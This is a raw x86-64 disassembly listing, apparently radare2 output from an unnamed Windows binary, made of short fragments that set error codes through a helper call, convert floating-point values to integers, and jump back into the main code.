mov dword [rax], 0xffffff8c
lea rcx, [0x14011d4b8]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140002b0b
lea rcx, [0x14011d4d8]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff88
lea rcx, [0x14011d4f8]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140003243
ucomisd xmm1, qword [0x14012b198]
jne 0x14000925c
jp 0x14000925c
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x14000565e
ucomisd xmm1, qword [0x14012b198]
jne 0x140009266
jp 0x140009266
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
addsd xmm0, qword [rsp + 0x60]
cvttsd2si eax, xmm0
jmp 0x140005768
mov eax, 0xa
jmp 0x1400044ad
mov eax, 0xa
jmp 0x1400045b7
mov eax, 0xa
jmp 0x140005e1b
mov eax, 0xa
jmp 0x140005f34
lea rcx, [0x14011d518]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff88
lea rcx, [0x14011d538]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140003a73
mov eax, 0xa
jmp 0x14000552d
mov r9d, 0xa
jmp 0x140005857
mov eax, 0xa
jmp 0x140005945
mov eax, 0xa
jmp 0x140005a5c
ucomisd xmm1, qword [0x14012b198]
jne 0x14000931a
jp 0x14000931a
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
addsd xmm0, qword [rsp + 0xb0]
cvttsd2si eax, xmm0
jmp 0x1400073e2
ucomisd xmm1, qword [0x14012b198]
jne 0x140009324
jp 0x140009324
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
addsd xmm0, qword [rsp + 0xb0]
cvttsd2si r9d, xmm0
jmp 0x140007739
ucomisd xmm1, qword [0x14012b198]
jne 0x14000932f
jp 0x14000932f
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
addsd xmm0, qword [rsp + 0xb0]
cvttsd2si eax, xmm0
jmp 0x140007836
ucomisd xmm1, qword [0x14012b198]
jne 0x140009339
jp 0x140009339
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
addsd xmm0, qword [rsp + 0xb0]
cvttsd2si eax, xmm0
jmp 0x14000795c
ucomisd xmm1, qword [0x14012b198]
jne 0x14000945b
jp 0x14000945b
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
movsd qword [rsp + 0x90], xmm1
addsd xmm0, qword [rsp + 0x90]
cvttsd2si eax, xmm0
jmp 0x140007d23
ucomisd xmm1, qword [0x14012b198]
jne 0x140009465
jp 0x140009465
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
movsd qword [rsp + 0x90], xmm1
addsd xmm0, qword [rsp + 0x90]
cvttsd2si r9d, xmm0
jmp 0x14000807a
ucomisd xmm1, qword [0x14012b198]
jne 0x140009470
jp 0x140009470
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
movsd qword [rsp + 0x90], xmm1
addsd xmm0, qword [rsp + 0x90]
cvttsd2si eax, xmm0
jmp 0x140008177
ucomisd xmm1, qword [0x14012b198]
jne 0x14000947a
jp 0x14000947a
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
movsd qword [rsp + 0x90], xmm1
addsd xmm0, qword [rsp + 0x90]
cvttsd2si eax, xmm0
jmp 0x14000829d
ucomisd xmm1, qword [0x14012b198]
jne 0x140009484
jp 0x140009484
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
addsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x1400084bb
ucomisd xmm1, qword [0x14012b198]
jne 0x14000948e
jp 0x14000948e
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
addsd xmm0, qword [rsp + 0x58]
cvttsd2si r9d, xmm0
jmp 0x1400087e5
ucomisd xmm1, qword [0x14012b198]
jne 0x140009499
jp 0x140009499
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
addsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x1400088d3
ucomisd xmm1, qword [0x14012b198]
jne 0x1400094a3
jp 0x1400094a3
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
addsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x1400089ea
mov eax, 0xa
jmp 0x14000565e
mov eax, 0xa
jmp 0x140005768
ucomisd xmm1, qword [0x14012b198]
jne 0x1400094d7
jp 0x1400094d7
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
addsd xmm0, qword [rsp + 0xb0]
cvttsd2si eax, xmm0
jmp 0x140007522
ucomisd xmm1, qword [0x14012b198]
jne 0x1400094e1
jp 0x1400094e1
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
movsd qword [rsp + 0xb0], xmm1
addsd xmm0, qword [rsp + 0xb0]
cvttsd2si eax, xmm0
jmp 0x14000763b
lea rcx, [0x14011d598]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff8e
lea rcx, [0x14011d5b8]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x14000495e
mov eax, 0xa
jmp 0x1400073e2
mov r9d, 0xa
jmp 0x140007739
mov eax, 0xa
jmp 0x140007836
mov eax, 0xa
jmp 0x14000795c
ucomisd xmm1, qword [0x14012b198]
jne 0x1400094eb
jp 0x1400094eb
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
movsd qword [rsp + 0x90], xmm1
addsd xmm0, qword [rsp + 0x90]
cvttsd2si eax, xmm0
jmp 0x140007e63
ucomisd xmm1, qword [0x14012b198]
jne 0x1400094f5
jp 0x1400094f5
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x90]
addsd xmm1, xmm0
movsd qword [rsp + 0x90], xmm1
addsd xmm0, qword [rsp + 0x90]
cvttsd2si eax, xmm0
jmp 0x140007f7c
ucomisd xmm1, qword [0x14012b198]
jne 0x1400094ff
jp 0x1400094ff
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
addsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x1400085ec
ucomisd xmm1, qword [0x14012b198]
jne 0x140009509
jp 0x140009509
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
addsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x1400086f6
lea rcx, [0x14011d558]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff8d
lea rcx, [0x14011d578]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140004255
mov eax, 0xa
jmp 0x140007d23
mov r9d, 0xa
jmp 0x14000807a
mov eax, 0xa
jmp 0x140008177
mov eax, 0xa
jmp 0x14000829d
mov eax, 0xa
jmp 0x1400084bb
mov r9d, 0xa
jmp 0x1400087e5
mov eax, 0xa
jmp 0x1400088d3
mov eax, 0xa
jmp 0x1400089ea
lea rcx, [0x14011d618]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff98
lea rcx, [0x14011d638]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140005ba5
mov eax, 0xa
jmp 0x140007522
mov eax, 0xa
jmp 0x14000763b
mov eax, 0xa
jmp 0x140007e63
mov eax, 0xa
jmp 0x140007f7c
mov eax, 0xa
jmp 0x1400085ec
mov eax, 0xa
jmp 0x1400086f6
lea rcx, [0x14011d5d8]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff88
lea rcx, [0x14011d5f8]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x1400050ff
lea rcx, [0x14011d698]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff9f
lea rcx, [0x14011d6b8]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140007095
lea rcx, [0x14011d6d8]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff9b
lea rcx, [0x14011d6f8]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140007ae4
lea rcx, [0x14011d718]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff95
lea rcx, [0x14011d738]
call fcn.14001f2c0
mov byte [rax], 1
jmp 0x140008394